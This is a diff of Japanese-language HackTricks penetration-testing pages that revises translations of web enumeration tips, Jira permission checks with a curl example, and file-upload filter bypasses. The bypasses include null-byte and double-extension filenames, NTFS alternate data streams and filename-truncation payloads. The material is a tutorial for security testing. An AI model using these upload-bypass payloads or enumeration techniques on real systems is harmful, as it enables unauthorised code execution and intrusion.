* _Param-minerの"params":_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnoteの"parameters_top_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0deの"params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **コメント**: すべてのファイルのコメントをチェックし、**資格情報**や**隠された機能**を見つけることができます。
|
||||
* **CTF**を行っている場合、ページの**右側**に**情報**を**隠す**ために**コメント**に**情報**を**隠す**という「一般的な」トリックがあります(ブラウザでソースコードを開いてもデータが見えないように**数百のスペース**を使用します)。他の可能性としては、**いくつかの新しい行**を使用して、ウェブページの**底部**にコメントで**情報を隠す**ことがあります。
|
||||
* **CTF**を行っている場合、ページの**右側**に**情報**を**隠す**ためにコメント内に**何百ものスペース**を使用するなど、**ページの下部**にコメントを使用して**情報を隠す**ことが一般的なトリックです。
|
||||
* **APIキー**: **APIキー**を見つけた場合、異なるプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、**[**zile**](https://github.com/xyele/zile.git)**、**[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、**[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、**[**RegHex**](https://github.com/l4yton/RegHex\)/)**、**[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、**[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、そのキーがアクセスできるAPIを確認できます。
|
||||
* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認します。その場合は、[**バケットの権限**を確認](buckets/)してください。
|
||||
* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認します。その場合は、[**バケットの権限**を確認してください](buckets/)。
|
||||
|
||||
### 特別な発見
|
||||
|
||||
**スパイダリング**と**ブルートフォース**を実行する際に、**注意すべき** **興味深い** **事柄**を見つけることができます。
|
||||
**スパイダリング**と**ブルートフォース**を行う際に、**注意すべき興味深い事柄**が見つかる可能性があります。
|
||||
|
||||
**興味深いファイル**
|
||||
|
||||
|
@ -307,14 +307,14 @@ _ブルートフォースやスパイダリング中に新しいディレクト
|
|||
* _**.git**_ファイルを見つけた場合、いくつかの情報を抽出できます。
|
||||
* _**.env**_ファイルを見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
|
||||
* **APIエンドポイント**を見つけた場合、[テストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらくそれらに「似ている」でしょう。
|
||||
* **JSファイル**: スパイダリングセクションでは、JSファイルからパスを抽出するいくつかのツールが言及されています。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、コードに潜在的な脆弱性が導入された可能性がある場合があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
|
||||
* 発見したJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で検証する必要があります。
|
||||
* **JSファイル**: スパイダリングセクションでは、JSファイルからパスを抽出するいくつかのツールが言及されています。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、コードに潜在的な脆弱性が導入された可能性があるためです。たとえば、[**JSMon**](https://github.com/robre/jsmon)を使用できます。
|
||||
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)でチェックして、脆弱性があるかどうかを確認する必要があります。
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation**(文字列:"\[]!+"を含むjavascript [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* いくつかの場合、使用される正規表現を**理解する必要**があります。これが役立ちます: [https://regex101.com/](https://regex101.com)
|
||||
* **フォームが検出されたファイルを監視**する必要があります。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
|
||||
* 何度か正規表現を理解する必要がある場合があります。これが役立ちます: [https://regex101.com/](https://regex101.com)
|
||||
* **フォームが検出されたファイルを監視**することもできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -324,17 +324,17 @@ _ブルートフォースやスパイダリング中に新しいディレクト
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
そのコードで**応答**するページがある場合、おそらく**構成が誤っているプロキシ**です。`GET https://google.com HTTP/1.1`(ホストヘッダーと他の一般的なヘッダーを含む)のようなHTTPリクエストを送信すると、**プロキシ**は_google.com_にアクセスしようとし、**SSRF**を見つけることができます。
|
||||
そのコードで応答するページがある場合、おそらく設定が誤っているプロキシです。`GET https://google.com HTTP/1.1`のようなHTTPリクエストを送信すると(ホストヘッダーと他の一般的なヘッダーを含む)、プロキシは_google.com_にアクセスしようとし、SSRFを見つけることができます。
|
||||
|
||||
**NTLM認証 - 情報漏洩**
|
||||
|
||||
認証を求める実行中のサーバーが**Windows**であるか、資格情報を求めるログインが見つかった場合(および**ドメイン名**を求める場合)、**情報漏洩**を引き起こすことができます。\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`という**ヘッダー**を**送信**すると、**NTLM認証**の動作方法により、サーバーはヘッダー"WWW-Authenticate"内に内部情報(IISバージョン、Windowsバージョンなど)を返します。\
|
||||
これは_nmapプラグイン_ "_http-ntlm-info.nse_"を使用して**自動化**できます。
|
||||
認証を要求する実行中のサーバーが**Windows**であるか、資格情報を求めるログインが見つかった場合(および**ドメイン名**を求める場合)、情報漏洩を引き起こすことができます。\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`というヘッダーを送信し、**NTLM認証の動作方法**により、サーバーは"WWW-Authenticate"ヘッダー内に内部情報(IISバージョン、Windowsバージョンなど)を返します。\
|
||||
これは_nmapプラグイン_ "_http-ntlm-info.nse_"を使用して自動化できます。
|
||||
|
||||
**HTTPリダイレクト(CTF)**
|
||||
|
||||
**リダイレクト**内に**コンテンツ**を**配置**することができます。このコンテンツはユーザーには表示されません(ブラウザがリダイレクトを実行するため)、しかし何かが**隠されている**可能性があります。
|
||||
**リダイレクト**内にコンテンツを配置することが可能です。このコンテンツはユーザーには表示されません(ブラウザがリダイレクトを実行するため)、しかし何かが**隠されている**可能性があります。
|
||||
### Web脆弱性のチェック
|
||||
|
||||
Webアプリケーションの包括的な列挙が完了したので、さまざまな脆弱性をチェックする時が来ました。チェックリストはこちらで見つけることができます:
|
||||
|
@ -343,7 +343,7 @@ Webアプリケーションの包括的な列挙が完了したので、さま
|
|||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Web脆弱性に関する詳細情報は以下を参照してください:
|
||||
Web脆弱性に関する詳細情報は以下で確認できます:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -351,11 +351,11 @@ Web脆弱性に関する詳細情報は以下を参照してください:
|
|||
|
||||
### ページの変更を監視
|
||||
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)などのツールを使用して、脆弱性を挿入する可能性のある変更を監視することができます。
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)などのツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングのキャリア**に興味がある方や、**解読不能なものを解読する**ことに興味がある方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
**ハッキングのキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -431,14 +431,14 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,96 +6,94 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)**と**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方へ - **採用中**!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
### 権限の確認
|
||||
|
||||
Jiraでは、認証されたユーザーであっても、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を介して、**権限を確認**できます。これらのエンドポイントはユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持っている**場合、**セキュリティの脆弱性**が示され、**報奨金の対象**になる可能性があります。同様に、認証されたユーザーにとって**予期しない権限**も**脆弱性**を示します。
|
||||
Jiraでは、認証されたユーザーであっても、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を介して、**権限を確認**できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持っている**場合、**セキュリティの脆弱性**が示され、**バウンティの対象**となる可能性があります。同様に、認証されたユーザーに**予期しない権限がある**場合も、**脆弱性**が強調されます。
|
||||
|
||||
2019年2月1日に重要な**更新**が行われ、'mypermissions'エンドポイントに\*\*'permission'パラメータ**を含める必要がありました。この要件は、クエリされている権限を特定することで、セキュリティを**強化\*\*することを目的としています:[こちらをチェックしてください](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
2019年2月1日に重要な**更新**が行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含める必要がありました。この要件は、クエリされている権限を指定することで、セキュリティを**強化**することを目的としています:[こちらをチェックしてください](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
* ADMINISTER\_PROJECTS
|
||||
* ASSIGNABLE\_USER
|
||||
* ASSIGN\_ISSUES
|
||||
* BROWSE\_PROJECTS
|
||||
* BULK\_CHANGE
|
||||
* CLOSE\_ISSUES
|
||||
* CREATE\_ATTACHMENTS
|
||||
* CREATE\_ISSUES
|
||||
* CREATE\_PROJECT
|
||||
* CREATE\_SHARED\_OBJECTS
|
||||
* DELETE\_ALL\_ATTACHMENTS
|
||||
* DELETE\_ALL\_COMMENTS
|
||||
* DELETE\_ALL\_WORKLOGS
|
||||
* DELETE\_ISSUES
|
||||
* DELETE\_OWN\_ATTACHMENTS
|
||||
* DELETE\_OWN\_COMMENTS
|
||||
* DELETE\_OWN\_WORKLOGS
|
||||
* EDIT\_ALL\_COMMENTS
|
||||
* EDIT\_ALL\_WORKLOGS
|
||||
* EDIT\_ISSUES
|
||||
* EDIT\_OWN\_COMMENTS
|
||||
* EDIT\_OWN\_WORKLOGS
|
||||
* LINK\_ISSUES
|
||||
* MANAGE\_GROUP\_FILTER\_SUBSCRIPTIONS
|
||||
* MANAGE\_SPRINTS\_PERMISSION
|
||||
* MANAGE\_WATCHERS
|
||||
* MODIFY\_REPORTER
|
||||
* MOVE\_ISSUES
|
||||
* RESOLVE\_ISSUES
|
||||
* SCHEDULE\_ISSUES
|
||||
* SET\_ISSUE\_SECURITY
|
||||
* SYSTEM\_ADMIN
|
||||
* TRANSITION\_ISSUES
|
||||
* USER\_PICKER
|
||||
* VIEW\_AGGREGATED\_DATA
|
||||
* VIEW\_DEV\_TOOLS
|
||||
* VIEW\_READONLY\_WORKFLOW
|
||||
* VIEW\_VOTERS\_AND\_WATCHERS
|
||||
* WORK\_ON\_ISSUES
|
||||
- ADD_COMMENTS
|
||||
- ADMINISTER
|
||||
- ADMINISTER_PROJECTS
|
||||
- ASSIGNABLE_USER
|
||||
- ASSIGN_ISSUES
|
||||
- BROWSE_PROJECTS
|
||||
- BULK_CHANGE
|
||||
- CLOSE_ISSUES
|
||||
- CREATE_ATTACHMENTS
|
||||
- CREATE_ISSUES
|
||||
- CREATE_PROJECT
|
||||
- CREATE_SHARED_OBJECTS
|
||||
- DELETE_ALL_ATTACHMENTS
|
||||
- DELETE_ALL_COMMENTS
|
||||
- DELETE_ALL_WORKLOGS
|
||||
- DELETE_ISSUES
|
||||
- DELETE_OWN_ATTACHMENTS
|
||||
- DELETE_OWN_COMMENTS
|
||||
- DELETE_OWN_WORKLOGS
|
||||
- EDIT_ALL_COMMENTS
|
||||
- EDIT_ALL_WORKLOGS
|
||||
- EDIT_ISSUES
|
||||
- EDIT_OWN_COMMENTS
|
||||
- EDIT_OWN_WORKLOGS
|
||||
- LINK_ISSUES
|
||||
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
|
||||
- MANAGE_SPRINTS_PERMISSION
|
||||
- MANAGE_WATCHERS
|
||||
- MODIFY_REPORTER
|
||||
- MOVE_ISSUES
|
||||
- RESOLVE_ISSUES
|
||||
- SCHEDULE_ISSUES
|
||||
- SET_ISSUE_SECURITY
|
||||
- SYSTEM_ADMIN
|
||||
- TRANSITION_ISSUES
|
||||
- USER_PICKER
|
||||
- VIEW_AGGREGATED_DATA
|
||||
- VIEW_DEV_TOOLS
|
||||
- VIEW_READONLY_WORKFLOW
|
||||
- VIEW_VOTERS_AND_WATCHERS
|
||||
- WORK_ON_ISSUES
|
||||
|
||||
例:`https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
|
||||
```bash
|
||||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
```
|
||||
|
||||
### 自動列挙
|
||||
|
||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
興味がある場合は、**ハッキングキャリア**に興味があり、ハッキングできないものをハックしたい場合は - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,20 +7,20 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中**!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## ファイルアップロード一般的な手法
|
||||
## ファイルアップロード一般的な方法論
|
||||
|
||||
他の便利な拡張機能:
|
||||
|
||||
|
@ -35,11 +35,11 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### ファイル拡張子チェックのバイパス
|
||||
|
||||
1. 適用されている場合は、**前の拡張子をチェック**してください。いくつかの**大文字の文字**を使用してテストしてください:_pHp, .pHP5, .PhAr ..._
|
||||
2. _実行拡張子の**前に有効な拡張子を追加**することをチェックしてください(前の拡張子も使用してください):_
|
||||
1. 適用されている場合は、**前の拡張子**を**チェック**します。いくつかの**大文字**を使用してテストします:_pHp, .pHP5, .PhAr ..._
|
||||
2. 実行拡張子の**前に有効な拡張子を追加**してチェックします(前の拡張子も使用):
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **末尾に特殊文字を追加**してみてください。Burpを使用してすべての**ASCII**および**Unicode**文字を**ブルートフォース**することができます。 (_以前に言及された**拡張子**も使用できます_)
|
||||
3. 末尾に**特殊文字を追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_以前の**拡張子**も使用できます_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
|
@ -49,7 +49,7 @@ HackTricksをサポートする他の方法:
|
|||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. サーバーサイドの**拡張子パーサーをだます**ために、**拡張子を2重にする**か、**拡張子間にジャンクデータ(**ヌル**バイト)を追加**するなどのテクニックを使用して保護をバイパスしようとしてみてください。_(より良いペイロードを準備するために**以前の拡張子**を使用することもできます)_
|
||||
4. サーバーサイドの**拡張子パーサーを騙す**ために、**拡張子を2重にする**か、拡張子間に**ジャンクデータ(**null**バイト)を追加**するなどのテクニックを使用して保護を**バイパス**しようとしてみてください。_(以前の**拡張子**を使用して、より良いペイロードを準備することもできます)_
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
|
@ -58,19 +58,19 @@ HackTricksをサポートする他の方法:
|
|||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 前のチェックに**別の拡張子の層を追加**してください:
|
||||
5. 前述のチェックに**別の拡張子レイヤー**を追加します:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **有効な拡張子の前に実行拡張子を配置**し、サーバーが誤って構成されていることを祈ってください。 (Apacheの誤構成を悪用するのに便利で、拡張子が**.php**で終わらないが**.php**であるものはすべてコードを実行します):
|
||||
6. 有効な拡張子が切り捨てられ、悪意のあるPHPが残されるように、**実行拡張子を有効な拡張子の前に配置**し、サーバーが誤って構成されていることを期待してみてください。 (Apacheの誤構成を悪用するのに役立ちます。ここでは、拡張子が**.php**で終わらないが**.php**であるものはすべてコードを実行します):
|
||||
- _例: file.php.png_
|
||||
7. **Windows**で**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバーに**禁止された拡張子の空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは後で他のテクニックを使用して編集できる場合があります。たとえば、短いファイル名を使用することができます。 「**::$data**」パターンも使用して、空でないファイルを作成することができます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つかもしれません(例:「file.asp::$data.」)
|
||||
8. ファイル名の制限を破るようにしてみてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残されます。AAA<--SNIP-->AAA.php
|
||||
7. **Windows**で**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバーに**禁止された拡張子の空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは後で他のテクニックを使用して編集できます。たとえば、短いファイル名を使用することができます。 「**::$data**」パターンも使用して、空でないファイルを作成できます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つかもしれません(例:「file.asp::$data.」)
|
||||
8. ファイル名の制限を破るようにしてみてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残されます。 AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux 最大 255 バイト
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで 4 を引いて .png を追加
|
||||
# ファイルをアップロードして、許容される文字数を確認します。たとえば、236 とします
|
||||
